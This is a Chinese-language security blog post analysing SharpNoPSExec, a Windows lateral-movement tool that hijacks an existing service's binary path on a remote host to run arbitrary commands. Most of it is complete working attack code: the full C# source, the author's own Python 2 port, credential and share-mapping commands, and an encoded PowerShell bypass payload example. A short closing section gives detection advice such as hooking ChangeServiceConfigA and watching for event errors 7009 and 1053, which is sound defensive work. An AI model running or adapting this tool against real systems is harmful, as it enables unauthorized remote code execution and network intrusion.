1. 程式人生 > 其它 >新型橫向移動工具原理分析、程式碼分析、優缺點以及檢測方案

新型橫向移動工具原理分析、程式碼分析、優缺點以及檢測方案

新橫向移動工具:

Twitter上看到新的橫移工具,無需建立服務、無需檔案落地,遠比PsExec來的難以檢測,我們針對這一工具進行原理分析、程式碼分析、優缺點評估以及檢測方案:

  • 工具名稱:SharpNoPSExec
  • 工具作者:juliourena
  • 下載地址:SharpNoPSExec
  • 本人修改Python簡單版本的下載地址:PyNoPSExec

基本原理分析:

Windows服務中,每一服務都有一個可執行檔案路徑,這個地方可以替換成命令進行命令執行,而且這個可以遠端管理,當然這裡肯定需要管理員許可權,不然就成了RCE漏洞了。

我們可以遠端寫程式碼去尋找到一個處於不啟動、需要手動啟動,沒有其他依賴關係的服務,改變這個可執行檔案路徑,從而執行我們的命令。


程式碼分析:

先介紹一下幾個關鍵函式

OpenSCManagerW:

SC_HANDLE OpenSCManagerW(
 LPCWSTR lpMachineName,
 LPCWSTR lpDatabaseName,
 DWORD dwDesiredAccess
);

小貼士:如果第一個引數填寫的是對端也就是橫移目標的IP地址或機器名,需要首先在執行程式以前建立一個管理員許可權,不僅僅需要知道賬號密碼,如何建立呢,答案也簡單,建立一個共享對映

net use \\xx.xx.xx.xx\admin$ "password" /user:username

然後呼叫兩個函式LogonUserA進行憑據認證,然後進行許可權模擬,還是呼叫我們的老朋友:ImpersonateLoggedOnUser。該函式允許使用者模擬其他使用者的許可權進行一些操作。

ChangeServiceConfig:

函式原型:

BOOL ChangeServiceConfigA(
  SC_HANDLE hService,
  DWORD     dwServiceType,
  DWORD     dwStartType,
  DWORD     dwErrorControl,
  LPCSTR    lpBinaryPathName,
  LPCSTR    lpLoadOrderGroup,
  LPDWORD   lpdwTagId,
  LPCSTR    lpDependencies,
  LPCSTR    lpServiceStartName,
  LPCSTR    lpPassword,
  LPCSTR    lpDisplayName
);

當然需要先匯入函式:

[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);

修改舉例:

string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);

然後開啟服務

函式原型:

BOOL StartServiceA(
 SC_HANDLE hService,
 DWORD dwNumServiceArgs,
 LPCSTR *lpServiceArgVectors
);

流程分析:

登入使用者 —–> 開啟遠端服務 —–> 設定服務執行程式為我們的 payload —–> 開啟服務

程式原始碼:

然後給出原始碼

using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Threading;

namespace SharpNoPSExec
{
    class ProgramOptions
    {
	    /*引數類,主要就是用來獲取命令列引數*/
        public string target;
        public string username;
        public string password;
        public string payload;
        public string service;
        public string domain;

        public ProgramOptions(string uTarget = "", string uPayload = "", string uUsername = "", string uPassword = "", string uService = "", string uDomain = ".")
        {
            target = uTarget;
            username = uUsername;
            password = uPassword;
            payload = uPayload;
            service = uService;
            domain = uDomain;
        }
    }

    class Program
    {
        [StructLayout(LayoutKind.Sequential)]
        private struct QUERY_SERVICE_CONFIG
        {
            public uint serviceType;
            public uint startType;
            public uint errorControl;
            public IntPtr binaryPathName;
            public IntPtr loadOrderGroup;
            public int tagID;
            public IntPtr dependencies;
            public IntPtr startName;
            public IntPtr displayName;
        }

        public struct ServiceInfo
        {
            public uint serviceType;
            public uint startType;
            public uint errorControl;
            public string binaryPathName;
            public string loadOrderGroup;
            public int tagID;
            public string dependencies;
            public string startName;
            public string displayName;
            public IntPtr serviceHandle;
        }


        [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern Boolean ChangeServiceConfig(/*匯入關鍵函式,下面的匯入函式不在一一分析*/
            IntPtr hService,
            UInt32 nServiceType,
            UInt32 nStartType,
            UInt32 nErrorControl,
            String lpBinaryPathName,
            String lpLoadOrderGroup,
            IntPtr lpdwTagId,
            String lpDependencies,
            String lpServiceStartName,
            String lpPassword,
            String lpDisplayName);

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(
            IntPtr hSCManager,
            string lpServiceName,
            uint dwDesiredAccess);

        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(
            string machineName,
            string databaseName,
            uint dwAccess);

        [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern Boolean QueryServiceConfig(
            IntPtr hService,
            IntPtr intPtrQueryConfig,
            UInt32 cbBufSize,
            out UInt32 pcbBytesNeeded);

        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(
            IntPtr hService,
            int dwNumServiceArgs,
            string[] lpServiceArgVectors);

        [DllImport("advapi32.dll")]
        public static extern bool LogonUserA(
            string lpszUsername,
            string lpszDomain,
            string lpszPassword,
            int dwLogonType,
            int dwLogonProvider,
            ref IntPtr phToken
        );

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

        private const uint SERVICE_NO_CHANGE = 0xFFFFFFFF;
        private const uint SERVICE_DEMAND_START = 0x00000003;
        private const uint SERVICE_DISABLED = 0x00000004;
        private const uint SC_MANAGER_ALL_ACCESS = 0xF003F;

        enum LOGON_TYPE
        {
            LOGON32_LOGON_INTERACTIVE = 2,
            LOGON32_LOGON_NETWORK = 3,
            LOGON32_LOGON_BATCH = 4,
            LOGON32_LOGON_SERVICE = 5,
            LOGON32_LOGON_UNLOCK = 7,
            LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
            LOGON32_LOGON_NEW_CREDENTIALS = 9
        }

        public enum LOGON_PROVIDER
        {
            /// <summary>
            /// Use the standard logon provider for the system.
            /// The default security provider is negotiate, unless you pass NULL for the domain name and the user name
            /// is not in UPN format. In this case, the default provider is NTLM.
            /// NOTE: Windows 2000/NT:   The default security provider is NTLM.
            /// </summary>
            LOGON32_PROVIDER_DEFAULT = 0,
            LOGON32_PROVIDER_WINNT35 = 1,
            LOGON32_PROVIDER_WINNT40 = 2,
            LOGON32_PROVIDER_WINNT50 = 3
        }

        public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle)
        {
	        /*定義一個服務資訊查詢函式,用來查詢服務的基本狀態,方便進行篩選和事後恢復*/
            Console.WriteLine($"    |-> Querying service {ServiceName}");
            ServiceInfo serviceInfo = new ServiceInfo();

            try
            {
                IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF);

                uint bytesNeeded = 0;
                QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();

                IntPtr qscPtr = IntPtr.Zero;

                bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded);

                if (!retCode && bytesNeeded == 0)
                {
                    throw new Win32Exception();
                }
                else
                {
                    qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded);
                    retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded);
                    if (!retCode)
                    {
                        throw new Win32Exception();
                    }
                    qsc.binaryPathName = IntPtr.Zero;
                    qsc.dependencies = IntPtr.Zero;
                    qsc.displayName = IntPtr.Zero;
                    qsc.loadOrderGroup = IntPtr.Zero;
                    qsc.startName = IntPtr.Zero;

                    qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG));
                }

                serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName);
                serviceInfo.dependencies = Marshal.PtrToStringAuto(qsc.dependencies);
                serviceInfo.displayName = Marshal.PtrToStringAuto(qsc.displayName);
                serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup);
                serviceInfo.startName = Marshal.PtrToStringAuto(qsc.startName);

                serviceInfo.errorControl = qsc.errorControl;
                serviceInfo.serviceType = qsc.serviceType;
                serviceInfo.startType = qsc.startType;
                serviceInfo.tagID = qsc.tagID;
                serviceInfo.serviceHandle = serviceHandle; // Return service handler

                Marshal.FreeHGlobal(qscPtr);
            }
            catch (Exception)
            {
                string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                Console.WriteLine("\n[!] GetServiceInfo failed. Error: {0}", errorMessage);
                Environment.Exit(0);
            }

            return serviceInfo;
        }

        public static void PrintBanner()
        {
            Console.WriteLine(@"
███████╗██╗  ██╗ █████╗ ██████╗ ██████╗ ███╗   ██╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗███████╗ ██████╗
██╔════╝██║  ██║██╔══██╗██╔══██╗██╔══██╗████╗  ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝╚██╗██╔╝██╔════╝██╔════╝
███████╗███████║███████║██████╔╝██████╔╝██╔██╗ ██║██║   ██║██████╔╝███████╗█████╗   ╚███╔╝ █████╗  ██║     
╚════██║██╔══██║██╔══██║██╔══██╗██╔═══╝ ██║╚██╗██║██║   ██║██╔═══╝ ╚════██║██╔══╝   ██╔██╗ ██╔══╝  ██║     
███████║██║  ██║██║  ██║██║  ██║██║     ██║ ╚████║╚██████╔╝██║     ███████║███████╗██╔╝ ██╗███████╗╚██████╗
╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝
Version: 0.0.2
Author: Julio Ureña (PlainText)
Twitter: @juliourena
");
        }

        public static void PrintHelp()
        {
            Console.WriteLine(@"Usage: 
SharpNoPSExec.exe --target=192.168.56.128 --payload=""c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ZQBjAGgAbwAgAEcAbwBkACAAQgBsAGUAcwBzACAAWQBvAHUAIQA=""
Required Arguments:
--target=       - IP or machine name to attack.
--payload=      - Payload to execute in the target machine.
Optional Arguments:
--username=     - Username to authenticate to the remote computer.
--password=     - Username's password.
--domain=       - Domain Name, if no set a dot (.) will be used instead.
--service=      - Service to modify to execute the payload, after the payload is completed the service will be restored.
Note: If not service is specified the program will look for a random service to execute.
Note: If the selected service has a non-system account this will be ignored.
--help          - Print help information.
");
        }

        static void Main(string[] args)
        {
	        /*主函式開始*/
            // example from https://github.com/s0lst1c3/SharpFinder
            ProgramOptions options = new ProgramOptions();

            foreach (string arg in args)//遍歷引數
            {
                if (arg.StartsWith("--target="))
                {
                    string[] components = arg.Split(new string[] { "--target=" }, StringSplitOptions.None);
                    options.target = components[1];
                }
                else if (arg.StartsWith("--payload="))
                {
                    string[] components = arg.Split(new string[] { "--payload=" },StringSplitOptions.None);

                    options.payload = components[1];

                }
                else if (arg.StartsWith("--username="))
                {
                    string[] components = arg.Split(new string[] { "--username=" }, StringSplitOptions.None);
                    options.username = components[1];
                }
                else if (arg.StartsWith("--password="))
                {
                    string[] components = arg.Split(new string[] { "--password=" }, StringSplitOptions.None);
                    options.password = components[1];
                }
                else if (arg.StartsWith("--domain="))
                {
                    string[] components = arg.Split(new string[] { "--domain=" }, StringSplitOptions.None);
                    options.domain = components[1];
                }
                else if (arg.StartsWith("--service="))
                {
                    string[] components = arg.Split(new string[] { "--service=" }, StringSplitOptions.None);
                    options.service = components[1];
                }
                else if (arg.StartsWith("--help"))
                {
                    PrintBanner();
                    PrintHelp();
                    Environment.Exit(0);
                }
                else
                {
                    Console.WriteLine("[!] Invalid flag: " + arg);
                    return;
                }
            }

            string username = null;
            string password = null;
            string domain = null;

            bool result = false;

            if (!String.IsNullOrEmpty(options.username) && !String.IsNullOrEmpty(options.password))
            {
                IntPtr phToken = IntPtr.Zero;
                username = options.username;
                password = options.password;
                domain = options.domain;

                result = LogonUserA(username, domain, password, (int)LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS, (int)LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, ref phToken);//憑據認證

                if (!result)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] LogonUser failed. Error: {0}", errorMessage);
                    Environment.Exit(0);
                }

                result = ImpersonateLoggedOnUser(phToken);//模擬許可權
                if (!result)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] ImpersonateLoggedOnUser failed. Error:{0}", errorMessage);
                    Environment.Exit(0);
                }
            }

            if (options.target == "" || options.payload == "")
            {
                PrintBanner();
                PrintHelp();
                Environment.Exit(0);
            }

            string target = options.target;

            try
            {
                Console.WriteLine($"\n[>] Open SC Manager from {target}.");
                IntPtr SCMHandle = OpenSCManager(options.target, null, SC_MANAGER_ALL_ACCESS);//開啟服務管理遊標

                if (SCMHandle == IntPtr.Zero)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] OpenSCManager failed. Error: {0}", errorMessage);
                    Environment.Exit(0);
                }

                // Open Connection to the remote machine and get all services 
                Console.WriteLine($"\n[>] Getting services information from {target}.");
                ServiceController[] services = ServiceController.GetServices(target);

                ServiceInfo serviceInfo = new ServiceInfo();

                if (options.service == "")
                {
                    Console.WriteLine($"\n[>] Looking for a random service to execute our payload.");

                    Random r = new Random();
                    for (int i = 0; i < services.Length; i++)//隨機獲取服務進行判斷
                    {
                        int value = r.Next(0, services.Length);

                        // Check some values to select a service to use to trigger our paylaod 
                        if (services[value].StartType == ServiceStartMode.Disabled && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0)//ServiceStartMode.Disabled禁用的服務 ServiceControllerStatus.Stopped目前狀態是停止的服務
                        {
                            serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle);

                            if (serviceInfo.startName.ToLower() == "localsystem")
                            {
                                Console.WriteLine($"    |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}.");
                                break;
                            }
                        }
                    }
                    
                    serviceInfo = new ServiceInfo();

                    // If not service was found search for services with start mode manual, stopped without dependencies. 
                    if (serviceInfo.displayName == null)
                    {
                        for (int i = 0; i < services.Length; i++)
                        {
                            int value = r.Next(0, services.Length);
                            // Check some values to select a service to use to trigger our paylaod (Manual Services) 
                            if (services[value].StartType == ServiceStartMode.Manual && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0)//ServiceStartMode.Manual手動啟動的服務
                            {
                                serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle);

                                if (serviceInfo.startName.ToLower() == "localsystem")
                                {
                                    Console.WriteLine($"    |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}.");
                                    break;
                                }
                            }
                        }
                    }
                    if (serviceInfo.displayName == "")
                    {
                        Console.WriteLine($"[!] No service found that met the default conditions, please select the service to run.");
                        Environment.Exit(0);
                    }
                }
                else
                {
                    Console.WriteLine($"\n[>] Checking if service {options.service} exists.");

                    bool found = false;
                    // Check if --server=value exits. 
                    foreach (var service in services)
                    {
                        if (service.ServiceName == options.service)
                            found = true;
                    }

                    if (found)
                    { 
                        serviceInfo = GetServiceInfo(options.service, SCMHandle);//查詢服務資訊
                        if (serviceInfo.startName.ToLower() == "localsystem")
                        {
                            Console.WriteLine($"    |-> Service {options.service} authenticated as {serviceInfo.startName}.");
                        }
                        else
                        {
                            Console.WriteLine($"\n[!] The service {options.service} is authenticated {serviceInfo.displayName} aborting to not lose the account.");
                            Environment.Exit(0);
                        }
                    }
                    else
                    {
                        Console.WriteLine($"    |-> Service not found {options.service}.");
                        Environment.Exit(0);
                    }
                }


                string previousImagePath = serviceInfo.binaryPathName;

                Console.WriteLine($"\n[>] Setting up payload.");

                string payload = options.payload;

                Console.WriteLine($"    |-> payload = {payload}");

                Console.WriteLine($"    |-> ImagePath previous value = {previousImagePath}.");

                // Modify the service with the payload
                Console.WriteLine($"    |-> Modifying ImagePath value with payload.");

                result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, payload, null, IntPtr.Zero, null, null, null, null);//修改可執行檔案路徑

                if (!result)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage);
                    Environment.Exit(0);
                }

                Console.WriteLine($"\n[>] Starting service {serviceInfo.displayName} with new ImagePath.");

                result = StartService(serviceInfo.serviceHandle, 0, null);//啟動服務

                //if(!result)
                    //Console.WriteLine($"    |-> Possible command execution completed.");


                // Wait 5 seconds before restoring the values
                Console.WriteLine($"\n[>] Waiting 5 seconds to finish.");
                Thread.Sleep(5000);

                Console.WriteLine($"\n[>] Restoring service configuration.");

                result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, serviceInfo.startType, 0, previousImagePath, null, IntPtr.Zero, null, serviceInfo.startName, null, null);//復原原來的可執行檔案路徑避免引起問題
                if (!result)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage);
                    Environment.Exit(0);
                }
                else
                {
                    Console.WriteLine($"    |-> {serviceInfo.displayName} Log On => {serviceInfo.startName}.");
                    Console.WriteLine($"    |-> {serviceInfo.displayName} status => {serviceInfo.startType}.");
                    Console.WriteLine($"    |-> {serviceInfo.displayName} ImagePath => {previousImagePath}");
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("\n[!] General Error: {0}\n", ex.Message);
            }
        }
    }
}

測試:

.\SharpNoPSExec.exe --target=xx.xx.xx.xx --payload="c:\windows\system32\cmd.exe /c powershell -nop ..."
  • 案例一 上線

  • 案例二 遠端執行命令

優缺點評測:

  • 優點:
    • 無檔案落地
    • 無服務建立
  • 缺點:
    • 敏感操作,主防攔截
    • 橫向移動需要建立共享(檢測異常共享可以檢測到)
    • 速度很慢,至少我們測試的速度很慢

檢測方案建議:

  • 將遠端服務查詢和修改列為敏感操作,在主防中進行配置,或者在自研後者採購HIDS時候提出該功能需求。
  • HIDS HOOK 敏感函式進行檢測ChangeServiceConfigA
  • 檢測異常共享或者IPC通訊
  • 檢測程序啟動異常(尤其是 事件ID 7009 程式異常ERROR 1053)

本人修改寫了一版基於Python2的具備基本橫移功能的簡單版

# -*- coding:utf-8 -*-
# Author: bobac
# Reference: SharpNoPSExec Twitter: @juliourena
# Version: v1.0
# Lateral Movement Tools

# Include Lib Files Or Packages
import ctypes
from ctypes import wintypes
from optparse import OptionParser

# Export Functions From
LogonUser = ctypes.windll.advapi32.LogonUserW
ImpersonateLoggedOnUser = ctypes.windll.advapi32.ImpersonateLoggedOnUser #
OpenSCManager = ctypes.windll.advapi32.OpenSCManagerW
OpenService = ctypes.windll.advapi32.OpenServiceW
ChangeServiceConfig = ctypes.windll.advapi32.ChangeServiceConfigW
StartService = ctypes.windll.advapi32.StartServiceA
GetLastError = ctypes.windll.kernel32.GetLastError

# Defined Some Global Variables
Token = ctypes.wintypes.HANDLE()

if __name__ == '__main__':
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target", help="Please Input Target Machinename Or Ip Address!")
    parser.add_option("-d", "--domain", dest="domain", help="Please Input Domain!")
    parser.add_option("-u", "--username", dest="username", help="Please Input Username!")
    parser.add_option("-p", "--password", dest="password", help="Please Input Password!")
    parser.add_option("-s", "--service", dest="service", help="Please Input Service Name!")
    parser.add_option("-e", "--exploit", dest="exploit", help="Please Input Exploit Payload!")
    (options, args) = parser.parse_args()

    if options.target in [None, "", " "]:
        print "[-] Please Input Target Machinename Or Ip Address!"
        exit(0)

    if options.service in [None, "", " "] or options.exploit in [None, "", " "]:
        print "[-] Please Check Service Name And Exploit Payload!"
        exit(0)

    if options.domain in [None, "", " "] or options.username in [None, "", " "] or options.password in [None, "", " "]:
        print "[-] Please Check Username And Password And Domain Information!"
        exit(0)

    print "[+] Target: %s" % str(options.target)

    domain = ctypes.wintypes.LPCWSTR(options.domain)
    username = ctypes.wintypes.LPCWSTR(options.username)
    password = ctypes.wintypes.LPCWSTR(options.password)
    logon_type = ctypes.wintypes.DWORD(2)
    provider = ctypes.wintypes.DWORD(0)
    result = LogonUser(username, domain, password, logon_type, provider, ctypes.byref(Token))
    if result == 0:
        error = GetLastError()
        print "[-] Logon Failed! We Get Windows System Error: %s" % str(error)
        exit(0)
    else:
        print "[+] Logon Succeed!"

    result = ImpersonateLoggedOnUser(Token)
    if result == 0:
        error = GetLastError()
        print "[-] ImpersonateLoggedOnUser Failed! We Get Windows System Error: %s" % str(error)
        exit(0)
    else:
        print "[+] ImpersonateLoggedOnUser Succeed!"

    target = ctypes.wintypes.LPCWSTR(options.target)
    desired_access = ctypes.wintypes.DWORD(0xF003F)
    result = OpenSCManager(target, None,  desired_access)
    if result == 0:
        error = GetLastError()
        if error == 5:
            print "[-] We Need Administrator Privilege!"
            exit(0)
        else:
            print "[-] We Get Windows System Error: %s"%str(error)
            exit(0)
    else:
        print "[+] OpenSCManager Succeed!"

    scm_handle = ctypes.wintypes.SC_HANDLE(result)
    name = ctypes.wintypes.LPCWSTR(options.service)
    desired_access = ctypes.wintypes.DWORD(0xF01FF)
    service = OpenService(scm_handle, name, desired_access)

    print "[+] We Got Exploit Payload: %s"%str(options.exploit)

    service_type = ctypes.wintypes.UINT(0xFFFFFFFF)
    start_type = ctypes.wintypes.UINT(0x00000003)
    payload = ctypes.wintypes.LPCWSTR(options.exploit)
    result = ChangeServiceConfig(service, service_type, start_type, 0, payload, None, 0, None, None, None, None)
    if result == 0:
        error = GetLastError()
        print "[-] ChangeServiceConfig Failed! We Get Windows System Error: %s" % str(error)
        exit(0)
    else:
        print "[+] ChangeServiceConfig Succeed!"

    result = StartService(service, 0, None)
    error = GetLastError()
    if error == 1053:
        print "[+] Lateral Movement Is Succeed!"
    else:
        print "[-] We Got Windows System Error: %s"%str(error)
博主簡介:博主國內安全行業目前最強大的網路安全公司做技術研究員,常年做技術工作。 獲得過以下全國競賽大獎: 《中國電子作品大賽一等獎》 《雲端計算技術大賽一等獎》 《AIIA人工智慧大賽優勝獎》《網路安全知識競賽一等獎》 《高新技術個人突出貢獻獎》,並參與《虛擬化技術-**保密**》一書編寫,現已出版。還擁有多項專利,多項軟體著作權! 且學習狀態上進,立志做技術牛逼的人。座右銘:在路上,永遠年輕,永遠熱淚盈眶。可郵件聯絡博主共同進步,個人郵箱:[email protected]